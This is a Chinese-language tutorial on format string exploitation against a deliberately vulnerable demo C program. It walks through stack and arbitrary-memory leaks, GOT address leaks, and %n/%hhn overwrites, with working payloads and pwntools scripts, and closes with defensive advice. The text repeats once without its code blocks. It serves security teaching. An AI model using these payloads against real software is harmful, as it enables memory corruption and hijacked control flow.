格式化字符串漏洞利用之内存泄露与覆盖
字数 2013 2025-08-22 22:47:31

格式化字符串漏洞利用:内存泄露与覆盖

1. 格式化字符串漏洞概述

格式化字符串漏洞是一种严重的安全漏洞,当攻击者能够控制格式化字符串函数的输入时,可以利用特殊的格式化占位符来读取或修改内存中的数据。这种漏洞可能导致未授权的内存读取、内存泄漏甚至远程代码执行。

漏洞原理

格式化字符串函数(如printf、sprintf等)的参数中包含格式化占位符(如%s、%d等),用于指定输出变量的类型和格式。当攻击者能够控制格式化字符串的输入时,可以使用特殊的格式化占位符来:

  1. 读取栈或任意地址的内存内容
  2. 向指定内存地址写入数据
  3. 覆盖关键内存区域(如返回地址、GOT表等)

2. 环境准备

编译选项

为了便于演示漏洞利用,需要使用特定的编译选项:

gcc -m32 -fno-stack-protector -no-pie -g -o formatSee formatSee.c

选项说明:

  • -m32:生成32位程序
  • -fno-stack-protector:禁用栈保护
  • -no-pie:禁用位置无关可执行文件
  • -g:包含调试信息

示例程序

#include<stdio.h>
void main() {
    char format[128];
    int arg1 = 1, arg2 = 0x88888888, arg3 = -1;
    char arg4[10] = "ABCD";
    scanf("%s", format);
    printf(format, arg1, arg2, arg3, arg4);
    printf("\n");
}

3. 内存泄露技术

3.1 泄露栈内存

基本方法

使用%x%p格式符可以泄露栈上的数据:

%08x.%08x.%08x.%08x.%08x

%p.%p.%p.%p.%p

这些格式符会依次从栈上取出数据并以十六进制形式显示。

直接访问特定参数

可以使用%n$x格式直接访问栈上的第n个参数(从1开始计数):

%3$x.%1$08x.%2$p.%2$p.%4$p.%5$p.%6$p

其中:

  • %n$x:显示第n个参数(相对于格式字符串)
  • %n$p:以指针形式显示第n个参数

GDB调试观察

在GDB中设置断点观察栈布局:

gdb-peda$ b printf
gdb-peda$ r
Starting program: /path/to/formatSee
%08x.%08x.%08x.%08x.%08x

栈布局示例:

[stack]
0000| 0xffffcdfc --> 0x8048517 (返回地址)
0004| 0xffffce00 --> 0xffffce34 (格式化字符串地址)
0008| 0xffffce04 --> 0x1 (arg1)
0012| 0xffffce08 --> 0x88888888 (arg2)
0016| 0xffffce0c --> 0xffffffff (arg3)
0020| 0xffffce10 --> 0xffffce2a ("ABCD") (arg4)
...

3.2 泄露任意地址内存

使用%s读取字符串

通过构造格式字符串,可以将指针指向特定地址并使用%s读取该地址的内容:

python -c 'print("\x2a\xce\xff\xff" + ".%13$s")'

其中:

  • \x2a\xce\xff\xff是要读取的内存地址(小端序)
  • %13$s表示使用第13个参数作为指针,读取该地址的字符串

泄露函数地址

通过泄露GOT表中的函数地址,可以绕过ASLR:

  1. 查找GOT表地址:
readelf -r formatSee

输出示例:

Relocation section '.rel.plt' at offset 0x2f0 contains 4 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
0804a00c  00000107 R_386_JUMP_SLOT   00000000   printf@GLIBC_2.0
0804a010  00000307 R_386_JUMP_SLOT   00000000   __libc_start_main@GLIBC_2.0
0804a014  00000407 R_386_JUMP_SLOT   00000000   putchar@GLIBC_2.0
0804a018  00000507 R_386_JUMP_SLOT   00000000   __isoc99_scanf@GLIBC_2.7
  1. 泄露函数地址:
python -c 'print("\x18\xa0\x04\x08" + ".%13$s")'
  1. 使用pwntools自动化:
from pwn import *

sh = process('./formatSee')
leakmemory = ELF('./formatSee')
__isoc99_scanf_got = leakmemory.got['__isoc99_scanf']
print hex(__isoc99_scanf_got)
payload = p32(__isoc99_scanf_got) + '%13$s'
print payload
gdb.attach(sh)
sh.sendline(payload)
sh.recvuntil('%13$s\n')
print hex(u32(sh.recv()[4:8]))  # 读取泄露的地址
sh.interactive()

4. 内存覆盖技术

4.1 覆盖栈内容

使用%n写入数据

%n格式符会将已输出的字符数写入指定的地址。例如,将arg2(0x88888888)覆盖为0x20:

\x08\xce\xff\xff%08x%08x%012d%13$n

解释:

  • \x08\xce\xff\xff:arg2的地址(0xffffce08)
  • %08x%08x:输出两个8字符宽的十六进制数(16字节)
  • %012d:输出12字符宽的十进制数(12字节)
  • %13$n:将总字节数(4+16+12=32=0x20)写入第13个参数指向的地址

写入小数字(<4)

对于小于4的数字,可以将地址放在格式字符串后面:

"AA%15$nA" + "\x08\xce\xff\xff"

解释:

  • AA:2字节
  • %15$n:5字节
  • A:1字节
  • 总计:8字节(对齐)
  • 地址在第15个参数位置

4.2 覆盖任意地址内存

分字节写入大数字

要写入大数字(如0x12345678),可以分四次逐字节写入:

python -c 'print("\x08\xce\xff\xff"+"\x09\xce\xff\xff"+"\x0a\xce\xff\xff"+"\x0b\xce\xff\xff"+"%104c%13$hhn"+"%222c%14$hhn"+"%222c%15$hhn"+"%222c%16$hhn")'

解释:

  1. 写入地址布局:

    • 0xffffce08: 写入0x78
    • 0xffffce09: 写入0x56
    • 0xffffce0a: 写入0x34
    • 0xffffce0b: 写入0x12
  2. 计算每次写入的字符数:

    • 第一次:16(地址部分)+104=120=0x78
    • 第二次:120+222=342=0x0156(只取0x56)
    • 第三次:342+222=564=0x0234(只取0x34)
    • 第四次:564+222=786=0x0312(只取0x12)

使用pwntools自动化

def fmt(prev, word, index):
    if prev < word:
        result = word - prev
        fmtstr = "%" + str(result) + "c"
    elif prev == word:
        result = 0
    else:
        result = 256 + word - prev
        fmtstr = "%" + str(result) + "c"
    fmtstr += "%" + str(index) + "$hhn"
    return fmtstr

def fmt_str(offset, size, addr, target):
    payload = ""
    for i in range(4):
        if size == 4:
            payload += p32(addr + i)
        else:
            payload += p64(addr + i)
    prev = len(payload)
    for i in range(4):
        payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
        prev = (target >> i * 8) & 0xff
    return payload

payload = fmt_str(6, 4, 0x0804A028, 0x12345678)

参数说明:

  • offset:要覆盖的地址的初始偏移
  • size:机器字长(4或8)
  • addr:要覆盖的地址
  • target:要写入的值

5. 实际利用技巧

5.1 绕过特殊字符限制

某些字符(如\x0c\x07\x08\x20等)可能有特殊含义,可以使用以下方法绕过:

  1. 选择不受影响的GOT表项
  2. 使用其他格式符组合
  3. 调整写入顺序

5.2 地址对齐

在32位系统中,地址需要4字节对齐;在64位系统中,需要8字节对齐。可以使用填充字符(如AB等)来确保对齐。

5.3 结合其他漏洞

格式化字符串漏洞可以与其他漏洞结合使用,如:

  • 与缓冲区溢出结合实现更复杂的攻击
  • 覆盖返回地址或函数指针
  • 修改GOT表实现劫持控制流

6. 防御措施

  1. 永远不要将用户输入直接作为格式化字符串

    // 错误
    printf(user_input);
    
    // 正确
    printf("%s", user_input);
    
  2. 使用静态分析工具检测潜在的格式化字符串漏洞

  3. 启用编译保护:

    • 栈保护:-fstack-protector
    • 位置无关可执行文件:-pie
    • 立即绑定:-Wl,-z,now
  4. 使用安全的替代函数,如snprintf

  5. 启用地址随机化(ASLR)

7. 总结

格式化字符串漏洞是一种强大的漏洞利用技术,攻击者可以通过精心构造的格式化字符串实现内存读取和写入。理解这些技术不仅有助于开发安全的代码,也是二进制安全研究的基础。防御此类漏洞的关键在于永远不要将用户输入直接作为格式化字符串使用,并启用适当的安全保护机制。

格式化字符串漏洞利用:内存泄露与覆盖 1. 格式化字符串漏洞概述 格式化字符串漏洞是一种严重的安全漏洞,当攻击者能够控制格式化字符串函数的输入时,可以利用特殊的格式化占位符来读取或修改内存中的数据。这种漏洞可能导致未授权的内存读取、内存泄漏甚至远程代码执行。 漏洞原理 格式化字符串函数(如printf、sprintf等)的参数中包含格式化占位符(如%s、%d等),用于指定输出变量的类型和格式。当攻击者能够控制格式化字符串的输入时,可以使用特殊的格式化占位符来: 读取栈或任意地址的内存内容 向指定内存地址写入数据 覆盖关键内存区域(如返回地址、GOT表等) 2. 环境准备 编译选项 为了便于演示漏洞利用,需要使用特定的编译选项: 选项说明: -m32 :生成32位程序 -fno-stack-protector :禁用栈保护 -no-pie :禁用位置无关可执行文件 -g :包含调试信息 示例程序 3. 内存泄露技术 3.1 泄露栈内存 基本方法 使用 %x 或 %p 格式符可以泄露栈上的数据: 或 这些格式符会依次从栈上取出数据并以十六进制形式显示。 直接访问特定参数 可以使用 %n$x 格式直接访问栈上的第n个参数(从1开始计数): 其中: %n$x :显示第n个参数(相对于格式字符串) %n$p :以指针形式显示第n个参数 GDB调试观察 在GDB中设置断点观察栈布局: 栈布局示例: 3.2 泄露任意地址内存 使用 %s 读取字符串 通过构造格式字符串,可以将指针指向特定地址并使用 %s 读取该地址的内容: 其中: \x2a\xce\xff\xff 是要读取的内存地址(小端序) %13$s 表示使用第13个参数作为指针,读取该地址的字符串 泄露函数地址 通过泄露GOT表中的函数地址,可以绕过ASLR: 查找GOT表地址: 输出示例: 泄露函数地址: 使用pwntools自动化: 4. 内存覆盖技术 4.1 覆盖栈内容 使用 %n 写入数据 %n 格式符会将已输出的字符数写入指定的地址。例如,将arg2(0x88888888)覆盖为0x20: 解释: \x08\xce\xff\xff :arg2的地址(0xffffce08) %08x%08x :输出两个8字符宽的十六进制数(16字节) %012d :输出12字符宽的十进制数(12字节) %13$n :将总字节数(4+16+12=32=0x20)写入第13个参数指向的地址 写入小数字( <4) 对于小于4的数字,可以将地址放在格式字符串后面: 解释: AA :2字节 %15$n :5字节 A :1字节 总计:8字节(对齐) 地址在第15个参数位置 4.2 覆盖任意地址内存 分字节写入大数字 要写入大数字(如0x12345678),可以分四次逐字节写入: 解释: 写入地址布局: 0xffffce08: 写入0x78 0xffffce09: 写入0x56 0xffffce0a: 写入0x34 0xffffce0b: 写入0x12 计算每次写入的字符数: 第一次:16(地址部分)+104=120=0x78 第二次:120+222=342=0x0156(只取0x56) 第三次:342+222=564=0x0234(只取0x34) 第四次:564+222=786=0x0312(只取0x12) 使用pwntools自动化 参数说明: offset :要覆盖的地址的初始偏移 size :机器字长(4或8) addr :要覆盖的地址 target :要写入的值 5. 实际利用技巧 5.1 绕过特殊字符限制 某些字符(如 \x0c 、 \x07 、 \x08 、 \x20 等)可能有特殊含义,可以使用以下方法绕过: 选择不受影响的GOT表项 使用其他格式符组合 调整写入顺序 5.2 地址对齐 在32位系统中,地址需要4字节对齐;在64位系统中,需要8字节对齐。可以使用填充字符(如 A 、 B 等)来确保对齐。 5.3 结合其他漏洞 格式化字符串漏洞可以与其他漏洞结合使用,如: 与缓冲区溢出结合实现更复杂的攻击 覆盖返回地址或函数指针 修改GOT表实现劫持控制流 6. 防御措施 永远不要将用户输入直接作为格式化字符串 : 使用静态分析工具检测潜在的格式化字符串漏洞 启用编译保护: 栈保护: -fstack-protector 位置无关可执行文件: -pie 立即绑定: -Wl,-z,now 使用安全的替代函数,如 snprintf 启用地址随机化(ASLR) 7. 总结 格式化字符串漏洞是一种强大的漏洞利用技术,攻击者可以通过精心构造的格式化字符串实现内存读取和写入。理解这些技术不仅有助于开发安全的代码,也是二进制安全研究的基础。防御此类漏洞的关键在于永远不要将用户输入直接作为格式化字符串使用,并启用适当的安全保护机制。